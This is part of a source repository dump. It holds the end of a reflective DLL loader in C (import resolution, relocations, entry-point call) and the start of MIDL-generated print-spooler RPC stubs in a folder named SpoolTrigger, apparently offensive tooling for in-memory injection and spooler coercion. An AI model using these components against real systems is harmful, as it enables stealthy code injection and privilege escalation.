305 |
306 | // STEP 4: process our images import table...
307 |
308 | // uiValueB = the address of the import directory
309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
310 |
311 | // we assume their is an import table to process
312 | // uiValueC is the first entry in the import table
313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
314 |
315 | // itterate through all imports
316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
317 | {
318 | // use LoadLibraryA to load the imported module into memory
319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
320 |
321 | // uiValueD = VA of the OriginalFirstThunk
322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
323 |
324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
326 |
327 | // itterate through all imported functions, importing by ordinal if no name present
328 | while (DEREF(uiValueA))
329 | {
330 | // sanity check uiValueD as some compilers only import by FirstThunk
331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
332 | {
333 | // get the VA of the modules NT Header
334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
335 |
336 | // uiNameArray = the address of the modules export directory entry
337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
338 |
339 | // get the VA of the export directory
340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
341 |
342 | // get the VA for the array of addresses
343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
344 |
345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
347 |
348 | // patch in the address for this imported function
349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
350 | }
351 | else
352 | {
353 | // get the VA of this functions import by name struct
354 | uiValueB = (uiBaseAddress + DEREF(uiValueA));
355 |
356 | // use GetProcAddress and patch in the address for this imported function
357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
358 | }
359 | // get the next imported function
360 | uiValueA += sizeof(ULONG_PTR);
361 | if (uiValueD)
362 | uiValueD += sizeof(ULONG_PTR);
363 | }
364 |
365 | // get the next import
366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
367 | }
368 |
369 | // STEP 5: process all of our images relocations...
370 |
371 | // calculate the base address delta and perform relocations (even if we load at desired image base)
372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
373 |
374 | // uiValueB = the address of the relocation directory
375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
376 |
377 | // check if their are any relocations present
378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
379 | {
380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
382 |
383 | // and we itterate through all entries...
384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
385 | {
386 | // uiValueA = the VA for this relocation block
387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
388 |
389 | // uiValueB = number of entries in this relocation block
390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
391 |
392 | // uiValueD is now the first entry in the current relocation block
393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
394 |
395 | // we itterate through all the entries in the current block...
396 | while (uiValueB--)
397 | {
398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
399 | // we dont use a switch statement to avoid the compiler building a jump table
400 | // which would not be very position independent!
401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
405 | #ifdef WIN_ARM
406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
408 | {
409 | register DWORD dwInstruction;
410 | register DWORD dwAddress;
411 | register WORD wImm;
412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
414 | // flip the words to get the instruction as expected
415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
416 | // sanity chack we are processing a MOV instruction...
417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
418 | {
419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate)
420 | wImm = (WORD)(dwInstruction & 0x000000FF);
421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
424 | // apply the relocation to the target address
425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
426 | // now create a new instruction with the same opcode and register param.
427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
428 | // patch in the relocated address...
429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF);
430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
433 | // now flip the instructions words and patch back into the code...
434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
435 | }
436 | }
437 | #endif
438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
442 |
443 | // get the next entry in the current relocation block
444 | uiValueD += sizeof(IMAGE_RELOC);
445 | }
446 |
447 | // get the next entry in the relocation directory
448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
449 | }
450 | }
451 |
452 | // STEP 6: call our images entry point
453 |
454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point
455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
456 |
457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
459 |
460 | // call our respective entry point, fudging our hInstance value
461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
464 | #else
465 | // if we are injecting an DLL via a stub we call DllMain with no parameter
466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
467 | #endif
468 |
469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
470 | return uiValueA;
471 | }
472 | //===============================================================================================//
473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
474 |
475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
476 | {
477 | BOOL bReturnValue = TRUE;
478 | switch (dwReason)
479 | {
480 | case DLL_QUERY_HMODULE:
481 | if (lpReserved != NULL)
482 | *(HMODULE*)lpReserved = hAppInstance;
483 | break;
484 | case DLL_PROCESS_ATTACH:
485 | hAppInstance = hinstDLL;
486 | break;
487 | case DLL_PROCESS_DETACH:
488 | case DLL_THREAD_ATTACH:
489 | case DLL_THREAD_DETACH:
490 | break;
491 | }
492 | return bReturnValue;
493 | }
494 |
495 | #endif
496 | //===============================================================================================//
--------------------------------------------------------------------------------
/SpoolTrigger/ms-rprn_s.c:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the RPC server stubs */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Tue Jan 19 03:14:07 2038
8 | */
9 | /* Compiler settings for ms-rprn.idl:
10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
11 | protocol : all , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 | #if defined(_M_AMD64)
20 |
21 |
22 | #if _MSC_VER >= 1200
23 | #pragma warning(push)
24 | #endif
25 |
26 | #pragma warning( disable: 4211 ) /* redefine extern to static */
27 | #pragma warning( disable: 4232 ) /* dllimport identity*/
28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/
29 |
30 | #include
31 | #include "ms-rprn_h.h"
32 |
33 | #define TYPE_FORMAT_STRING_SIZE 135
34 | #define PROC_FORMAT_STRING_SIZE 2383
35 | #define EXPR_FORMAT_STRING_SIZE 1
36 | #define TRANSMIT_AS_TABLE_SIZE 0
37 | #define WIRE_MARSHAL_TABLE_SIZE 0
38 |
39 | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING
40 | {
41 | short Pad;
42 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ];
43 | } ms2Drprn_MIDL_TYPE_FORMAT_STRING;
44 |
45 | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING
46 | {
47 | short Pad;
48 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ];
49 | } ms2Drprn_MIDL_PROC_FORMAT_STRING;
50 |
51 | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING
52 | {
53 | long Pad;
54 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ];
55 | } ms2Drprn_MIDL_EXPR_FORMAT_STRING;
56 |
57 |
58 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax =
59 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
60 |
61 | static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax =
62 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};
63 |
64 |
65 | extern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString;
66 | extern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString;
67 | extern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString;
68 |
69 | /* Standard interface: winspool, ver. 1.0,
70 | GUID={0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}} */
71 |
72 |
73 | extern const MIDL_SERVER_INFO winspool_ServerInfo;
74 | static const RPC_PROTSEQ_ENDPOINT __RpcProtseqEndpoint[] =
75 | {
76 | {(unsigned char *) "ncacn_np", (unsigned char *) "\\pipe\\spoolss"}
77 | };
78 |
79 |
80 | extern const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable;
81 |
82 | static const RPC_SERVER_INTERFACE winspool___RpcServerInterface =
83 | {
84 | sizeof(RPC_SERVER_INTERFACE),
85 | {{0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}},{1,0}},
86 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
87 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable,
88 | 1,
89 | (RPC_PROTSEQ_ENDPOINT *)__RpcProtseqEndpoint,
90 | 0,
91 | &winspool_ServerInfo,
92 | 0x06000000
93 | };
94 | RPC_IF_HANDLE winspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& winspool___RpcServerInterface;
95 |
96 | extern const MIDL_STUB_DESC winspool_StubDesc;
97 |
98 | extern const NDR_RUNDOWN RundownRoutines[];
99 |
100 | #if !defined(__RPC_WIN64__)
101 | #error Invalid build platform for this stub.
102 | #endif
103 |
104 | static const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString =
105 | {
106 | 0,
107 | {
108 |
109 | /* Procedure RpcEnumPrinters */
110 |
111 | 0x0, /* 0 */
112 | 0x48, /* Old Flags: */
113 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */
114 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */
115 | /* 8 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
116 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */
117 | 0x0, /* 0 */
118 | /* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
119 | /* 14 */ NdrFcShort( 0x0 ), /* 0 */
120 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */
121 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */
122 | 0x1, /* 1 */
123 | /* 20 */ 0xa, /* 10 */
124 | 0x1, /* Ext Flags: new corr desc, */
125 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */
126 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */
127 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */
128 | /* 28 */ NdrFcShort( 0x0 ), /* 0 */
129 |
130 | /* Return value */
131 |
132 | /* 30 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
133 | /* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
134 | /* 34 */ 0x8, /* FC_LONG */
135 | 0x0, /* 0 */
136 |
137 | /* Procedure RpcOpenPrinter */
138 |
139 | /* 36 */ 0x0, /* 0 */
140 | 0x48, /* Old Flags: */
141 | /* 38 */ NdrFcLong( 0x0 ), /* 0 */
142 | /* 42 */ NdrFcShort( 0x1 ), /* 1 */
143 | /* 44 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
144 | /* 46 */ 0x31, /* FC_BIND_GENERIC */
145 | 0x8, /* 8 */
146 | /* 48 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
147 | /* 50 */ 0x0, /* 0 */
148 | 0x5c, /* FC_PAD */
149 | /* 52 */ NdrFcShort( 0x8 ), /* 8 */
150 | /* 54 */ NdrFcShort( 0x40 ), /* 64 */
151 | /* 56 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
152 | 0x6, /* 6 */
153 | /* 58 */ 0xa, /* 10 */
154 | 0x5, /* Ext Flags: new corr desc, srv corr check, */
155 | /* 60 */ NdrFcShort( 0x0 ), /* 0 */
156 | /* 62 */ NdrFcShort( 0x1 ), /* 1 */
157 | /* 64 */ NdrFcShort( 0x0 ), /* 0 */
158 | /* 66 */ NdrFcShort( 0x0 ), /* 0 */
159 |
160 | /* Parameter pPrinterName */
161 |
162 | /* 68 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
163 | /* 70 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
164 | /* 72 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
165 |
166 | /* Parameter pHandle */
167 |
168 | /* 74 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */
169 | /* 76 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
170 | /* 78 */ NdrFcShort( 0xa ), /* Type Offset=10 */
171 |
172 | /* Parameter pDatatype */
173 |
174 | /* 80 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
175 | /* 82 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
176 | /* 84 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
177 |
178 | /* Parameter pDevModeContainer */
179 |
180 | /* 86 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
181 | /* 88 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
182 | /* 90 */ NdrFcShort( 0x1e ), /* Type Offset=30 */
183 |
184 | /* Parameter AccessRequired */
185 |
186 | /* 92 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
187 | /* 94 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
188 | /* 96 */ 0x8, /* FC_LONG */
189 | 0x0, /* 0 */
190 |
191 | /* Return value */
192 |
193 | /* 98 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
194 | /* 100 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
195 | /* 102 */ 0x8, /* FC_LONG */
196 | 0x0, /* 0 */
197 |
198 | /* Procedure RpcSetJob */
199 |
200 | /* 104 */ 0x0, /* 0 */
201 | 0x48, /* Old Flags: */
202 | /* 106 */ NdrFcLong( 0x0 ), /* 0 */
203 | /* 110 */ NdrFcShort( 0x2 ), /* 2 */
204 | /* 112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
205 | /* 114 */ 0x32, /* FC_BIND_PRIMITIVE */
206 | 0x0, /* 0 */
207 | /* 116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
208 | /* 118 */ NdrFcShort( 0x0 ), /* 0 */
209 | /* 120 */ NdrFcShort( 0x8 ), /* 8 */
210 | /* 122 */ 0x44, /* Oi2 Flags: has return, has ext, */
211 | 0x1, /* 1 */
212 | /* 124 */ 0xa, /* 10 */
213 | 0x1, /* Ext Flags: new corr desc, */
214 | /* 126 */ NdrFcShort( 0x0 ), /* 0 */
215 | /* 128 */ NdrFcShort( 0x0 ), /* 0 */
216 | /* 130 */ NdrFcShort( 0x0 ), /* 0 */
217 | /* 132 */ NdrFcShort( 0x0 ), /* 0 */
218 |
219 | /* Return value */
220 |
221 | /* 134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
222 | /* 136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
223 | /* 138 */ 0x8, /* FC_LONG */
224 | 0x0, /* 0 */
225 |
226 | /* Procedure RpcGetJob */
227 |
228 | /* 140 */ 0x0, /* 0 */
229 | 0x48, /* Old Flags: */
230 | /* 142 */ NdrFcLong( 0x0 ), /* 0 */
231 | /* 146 */ NdrFcShort( 0x3 ), /* 3 */
232 | /* 148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
233 | /* 150 */ 0x32, /* FC_BIND_PRIMITIVE */
234 | 0x0, /* 0 */
235 | /* 152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
236 | /* 154 */ NdrFcShort( 0x0 ), /* 0 */
237 | /* 156 */ NdrFcShort( 0x8 ), /* 8 */
238 | /* 158 */ 0x44, /* Oi2 Flags: has return, has ext, */
239 | 0x1, /* 1 */
240 | /* 160 */ 0xa, /* 10 */
241 | 0x1, /* Ext Flags: new corr desc, */
242 | /* 162 */ NdrFcShort( 0x0 ), /* 0 */
243 | /* 164 */ NdrFcShort( 0x0 ), /* 0 */
244 | /* 166 */ NdrFcShort( 0x0 ), /* 0 */
245 | /* 168 */ NdrFcShort( 0x0 ), /* 0 */
246 |
247 | /* Return value */
248 |
249 | /* 170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
250 | /* 172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
251 | /* 174 */ 0x8, /* FC_LONG */
252 | 0x0, /* 0 */
253 |
254 | /* Procedure RpcEnumJobs */
255 |
256 | /* 176 */ 0x0, /* 0 */
257 | 0x48, /* Old Flags: */
258 | /* 178 */ NdrFcLong( 0x0 ), /* 0 */
259 | /* 182 */ NdrFcShort( 0x4 ), /* 4 */
260 | /* 184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
261 | /* 186 */ 0x32, /* FC_BIND_PRIMITIVE */
262 | 0x0, /* 0 */
263 | /* 188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
264 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */
265 | /* 192 */ NdrFcShort( 0x8 ), /* 8 */
266 | /* 194 */ 0x44, /* Oi2 Flags: has return, has ext, */
267 | 0x1, /* 1 */
268 | /* 196 */ 0xa, /* 10 */
269 | 0x1, /* Ext Flags: new corr desc, */
270 | /* 198 */ NdrFcShort( 0x0 ), /* 0 */
271 | /* 200 */ NdrFcShort( 0x0 ), /* 0 */
272 | /* 202 */ NdrFcShort( 0x0 ), /* 0 */
273 | /* 204 */ NdrFcShort( 0x0 ), /* 0 */
274 |
275 | /* Return value */
276 |
277 | /* 206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
278 | /* 208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
279 | /* 210 */ 0x8, /* FC_LONG */
280 | 0x0, /* 0 */
281 |
282 | /* Procedure RpcAddPrinter */
283 |
284 | /* 212 */ 0x0, /* 0 */
285 | 0x48, /* Old Flags: */
286 | /* 214 */ NdrFcLong( 0x0 ), /* 0 */
287 | /* 218 */ NdrFcShort( 0x5 ), /* 5 */
288 | /* 220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
289 | /* 222 */ 0x32, /* FC_BIND_PRIMITIVE */
290 | 0x0, /* 0 */
291 | /* 224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
292 | /* 226 */ NdrFcShort( 0x0 ), /* 0 */
293 | /* 228 */ NdrFcShort( 0x8 ), /* 8 */
294 | /* 230 */ 0x44, /* Oi2 Flags: has return, has ext, */
295 | 0x1, /* 1 */
296 | /* 232 */ 0xa, /* 10 */
297 | 0x1, /* Ext Flags: new corr desc, */
298 | /* 234 */ NdrFcShort( 0x0 ), /* 0 */
299 | /* 236 */ NdrFcShort( 0x0 ), /* 0 */
300 | /* 238 */ NdrFcShort( 0x0 ), /* 0 */
301 | /* 240 */ NdrFcShort( 0x0 ), /* 0 */
302 |
303 | /* Return value */
304 |
305 | /* 242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
306 | /* 244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
307 | /* 246 */ 0x8, /* FC_LONG */
308 | 0x0, /* 0 */
309 |
310 | /* Procedure RpcDeletePrinter */
311 |
312 | /* 248 */ 0x0, /* 0 */
313 | 0x48, /* Old Flags: */
314 | /* 250 */ NdrFcLong( 0x0 ), /* 0 */
315 | /* 254 */ NdrFcShort( 0x6 ), /* 6 */
316 | /* 256 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
317 | /* 258 */ 0x32, /* FC_BIND_PRIMITIVE */
318 | 0x0, /* 0 */
319 | /* 260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
320 | /* 262 */ NdrFcShort( 0x0 ), /* 0 */
321 | /* 264 */ NdrFcShort( 0x8 ), /* 8 */
322 | /* 266 */ 0x44, /* Oi2 Flags: has return, has ext, */
323 | 0x1, /* 1 */
324 | /* 268 */ 0xa, /* 10 */
325 | 0x1, /* Ext Flags: new corr desc, */
326 | /* 270 */ NdrFcShort( 0x0 ), /* 0 */
327 | /* 272 */ NdrFcShort( 0x0 ), /* 0 */
328 | /* 274 */ NdrFcShort( 0x0 ), /* 0 */
329 | /* 276 */ NdrFcShort( 0x0 ), /* 0 */
330 |
331 | /* Return value */
332 |
333 | /* 278 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
334 | /* 280 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
335 | /* 282 */ 0x8, /* FC_LONG */
336 | 0x0, /* 0 */
337 |
338 | /* Procedure RpcSetPrinter */
339 |
340 | /* 284 */ 0x0, /* 0 */
341 | 0x48, /* Old Flags: */
342 | /* 286 */ NdrFcLong( 0x0 ), /* 0 */
343 | /* 290 */ NdrFcShort( 0x7 ), /* 7 */
344 | /* 292 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
345 | /* 294 */ 0x32, /* FC_BIND_PRIMITIVE */
346 | 0x0, /* 0 */
347 | /* 296 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
348 | /* 298 */ NdrFcShort( 0x0 ), /* 0 */
349 | /* 300 */ NdrFcShort( 0x8 ), /* 8 */
350 | /* 302 */ 0x44, /* Oi2 Flags: has return, has ext, */
351 | 0x1, /* 1 */
352 | /* 304 */ 0xa, /* 10 */
353 | 0x1, /* Ext Flags: new corr desc, */
354 | /* 306 */ NdrFcShort( 0x0 ), /* 0 */
355 | /* 308 */ NdrFcShort( 0x0 ), /* 0 */
356 | /* 310 */ NdrFcShort( 0x0 ), /* 0 */
357 | /* 312 */ NdrFcShort( 0x0 ), /* 0 */
358 |
359 | /* Return value */
360 |
361 | /* 314 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
362 | /* 316 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
363 | /* 318 */ 0x8, /* FC_LONG */
364 | 0x0, /* 0 */
365 |
366 | /* Procedure RpcGetPrinter */
367 |
368 | /* 320 */ 0x0, /* 0 */
369 | 0x48, /* Old Flags: */
370 | /* 322 */ NdrFcLong( 0x0 ), /* 0 */
371 | /* 326 */ NdrFcShort( 0x8 ), /* 8 */
372 | /* 328 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
373 | /* 330 */ 0x32, /* FC_BIND_PRIMITIVE */
374 | 0x0, /* 0 */
375 | /* 332 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
376 | /* 334 */ NdrFcShort( 0x0 ), /* 0 */
377 | /* 336 */ NdrFcShort( 0x8 ), /* 8 */
378 | /* 338 */ 0x44, /* Oi2 Flags: has return, has ext, */
379 | 0x1, /* 1 */
380 | /* 340 */ 0xa, /* 10 */
381 | 0x1, /* Ext Flags: new corr desc, */
382 | /* 342 */ NdrFcShort( 0x0 ), /* 0 */
383 | /* 344 */ NdrFcShort( 0x0 ), /* 0 */
384 | /* 346 */ NdrFcShort( 0x0 ), /* 0 */
385 | /* 348 */ NdrFcShort( 0x0 ), /* 0 */
386 |
387 | /* Return value */
388 |
389 | /* 350 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
390 | /* 352 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
391 | /* 354 */ 0x8, /* FC_LONG */
392 | 0x0, /* 0 */
393 |
394 | /* Procedure RpcAddPrinterDriver */
395 |
396 | /* 356 */ 0x0, /* 0 */
397 | 0x48, /* Old Flags: */
398 | /* 358 */ NdrFcLong( 0x0 ), /* 0 */
399 | /* 362 */ NdrFcShort( 0x9 ), /* 9 */
400 | /* 364 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
401 | /* 366 */ 0x32, /* FC_BIND_PRIMITIVE */
402 | 0x0, /* 0 */
403 | /* 368 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
404 | /* 370 */ NdrFcShort( 0x0 ), /* 0 */
405 | /* 372 */ NdrFcShort( 0x8 ), /* 8 */
406 | /* 374 */ 0x44, /* Oi2 Flags: has return, has ext, */
407 | 0x1, /* 1 */
408 | /* 376 */ 0xa, /* 10 */
409 | 0x1, /* Ext Flags: new corr desc, */
410 | /* 378 */ NdrFcShort( 0x0 ), /* 0 */
411 | /* 380 */ NdrFcShort( 0x0 ), /* 0 */
412 | /* 382 */ NdrFcShort( 0x0 ), /* 0 */
413 | /* 384 */ NdrFcShort( 0x0 ), /* 0 */
414 |
415 | /* Return value */
416 |
417 | /* 386 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
418 | /* 388 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
419 | /* 390 */ 0x8, /* FC_LONG */
420 | 0x0, /* 0 */
421 |
422 | /* Procedure RpcEnumPrinterDrivers */
423 |
424 | /* 392 */ 0x0, /* 0 */
